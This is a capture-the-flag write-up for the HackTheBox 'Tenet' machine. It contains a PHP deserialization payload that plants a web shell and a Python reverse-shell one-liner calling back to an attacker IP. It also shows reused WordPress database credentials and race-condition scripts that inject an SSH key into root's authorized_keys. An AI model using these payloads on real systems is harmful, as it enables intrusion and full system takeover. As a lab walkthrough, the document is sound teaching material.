HackTheBox - Tenet write up
5 min read

HackTheBox - Tenet write up

HackTheBox - Tenet write up

Tenet is a medium Linux box.

Recon

As always, let's start with a nmap scan.

$ nmap -p- -A -oN scan.nmap 10.10.10.223

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let's check the port 80 under Apache2.

Web

http://10.10.10.223/index.html

Apache default page, hmm interesting. Let's use gobuster to find some new pages.

$ gobuster dir -w /opt/directory-list-lowercase-2.3-medium.txt -t 30 -q -x php,html --url http://10.10.10.223/

/index.html           (Status: 200) [Size: 10918]
/wordpress            (Status: 301) [Size: 316] [--> http://10.10.10.223/wordpress/]

Oh ! We have a wordpress endpoint. Let's visit it !

http://tenet.htb

To properly load static files like CSS, images we need to add tenet.htb to our /etc/host file. There is a reverse proxy behind the webserver via VHOST, so http://10.10.10.223/wordpress is equals to http://tenet.htb.

After looking around the Wordpress I find this interesting comment posted by the user neil.

Let's find the sator PHP file and the backup, here it is !

http://10.10.10.223/sator.php
http://10.10.10.223/sator.php.bak

<?php

class DatabaseExport
{
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>
http://10.10.10.223/sator.php.bak

This programm unserialize the data we send to it without checking the validity of our input.

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

The __destruct() method is called when there are no more references to an object that you created or when you force its deletion.
So, we can create an instance of DatabaseExport, then, the __desctruct() method will be called with our attributes (user_file and data).

	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	}

We now can create or write on files, let's crack our payload.

<?php

class DatabaseExport
{
	public $user_file = 'hello.php';
	public $data = '<?php echo system($_REQUEST[cmd]); ?>';
}

$de = new DatabaseExport();
echo serialize($de);
exploit.php
$ php exploit.php

O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"hello.php";s:4:"data";s:37:"<?php echo system($_REQUEST[cmd]); ?>";}

As you can see the PHP script echo "Database updated" twice, one for our unserialized input variable and the one for the $app variable. We now can execute command at http://10.10.10.223/hello.php?cmd=<OUR_COMMAND>.

Reverse shell :

Visit -> http://10.10.10.223/hello.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.171",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

xanhacks ~ $ nc -lvnp 4444
Connection from 10.10.10.223:38876
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@tenet:/var/www/html$

User

After enumerating the box, I found credentials in a wordpress config file.

www-data@tenet:/var/www/html/wordpress$ cat wp-config.php | grep define
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8mb4' );
define( 'DB_COLLATE', '' );
define( 'WP_HOME', 'http://tenet.htb');
define( 'WP_SITEURL', 'http://tenet.htb');
...

There is only one user on the box, named neil. Let's check if the DB password is reused.

www-data@tenet:/var/www/html/wordpress$ su neil
Password: Opera2112

neil@tenet:/var/www/html/wordpress$ cd
neil@tenet:~$ cat user.txt
3f1b9ccba530cf07fe3d3ea770e99130

Root

neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh


neil@tenet:~$ ls -al /usr/local/bin/enableSSH.sh
-rwxr-xr-x 1 root root 1080 Dec  8 13:46 /usr/local/bin/enableSSH.sh

We can run enableSSH.sh with sudo but we cannot modify it, sad.

#!/bin/bash

checkAdded() {

	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

		/bin/echo "Successfully added $sshName to authorized_keys file!"

	else

		/bin/echo "Error in adding $sshName to authorized_keys file!"

	fi

}

checkFile() {

	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

		/bin/echo "Error in creating key file!"

		if [[ -f $1 ]]; then /bin/rm $1; fi

		exit 1

	fi

}

addKey() {

	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

	(umask 110; touch $tmpName) # rw-rw-rw

	/bin/echo $key >>$tmpName

	checkFile $tmpName

	/bin/cat $tmpName >>/root/.ssh/authorized_keys

	/bin/rm $tmpName

}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
/usr/local/bin/enableSSH.sh

This script create a temporary file, write the SSH public key ($key) in it, then cat this temp file and append its content to /root/.ssh/authorized_keys. To exploit this script we need to make a race condition.

When the script create the temp file, we can add our SSH pub key in it, then the programm will add our public key to /root/.ssh/authorized_keys.

neil@tenet:/dev/shm$ cat infinite.sh
#!/bin/bash

while true
do
    sudo /usr/local/bin/enableSSH.sh
done
infinite.sh
neil@tenet:/dev/shm$ cat race.sh
#!/bin/bash

key="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVcJwgxtDcbUaL7y2iXScfo/I7miXmvYWCw0eWqop1QfZknF2RVM2GZ8P5nLcUIKruWbhHfgY6GNCixyGwwNTcA8s9pk0OwC2XIM9hWxdNaJ1TJo+0vwC/duC+N6B6ZGjl0bjKZWxGxrwhO9j2xDamn/HU0g8OMt9mgxeJARxEqYVq8+9BHPhuskwXYK0pxh+7H3pkNCgH3p7GiHb7h42eDc2OVwi2ZdHatglM6JinoRD4FWnHnxDcZeUk9ynlWyvdlN49sKUOlmlMMkbLJJjL7SiBO44zGbTErZqAhraEzMkDueZj49eP6kjkF9LAoWnKrIBDOf92A8pI+kHaEZNRS3W/IGBDTRNYsWM0dUMKqe8FsHnC5NqpwY53D2rGky105PIHokPyVBnh8SEyHgSm7dKoG28aQIdZDL0VDr3z+4NGNBIhS9YzgCksb4SfB6gFwirphlQ9PHRe6ctB7gOgdFiQ26RkIIyIZ3G9mFiUGXJHVHFcQdxgU/hYfYZlAFlh9Wt8EPG2NqRxDVWh8WT3GTxhpDFEBE4vGzUaqb/FzZb4LXT7Sipd4dvbTRfV7B08g0kHX1f3+9UVGvaHWfWqCP/uM3LCuxgff7QM8jNRfIqPlKE8bNxuDnvxyEWq9bItec4heDhViPJQiAflcJNli7gTxbvoBnuIdt6p9KD8vw=="

while true
do
    for file in /tmp/ssh-*
    do
	echo $key >> $file 2>/dev/null && echo "Done !";
    done
done
race.sh

I run this two scripts and my SSH key has been added instantly.

xanhacks ~$ ssh root@10.10.10.223 -i id_rsa
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
...
Last login: Mon Jan 25 15:34:36 2021 from 10.10.14.131
root@tenet:~# id
uid=0(root) gid=0(root) groups=0(root)
root@tenet:~# cat root.txt 
42bc4e9b1066ee685610d33347013fa2

Enjoying these posts? Subscribe for more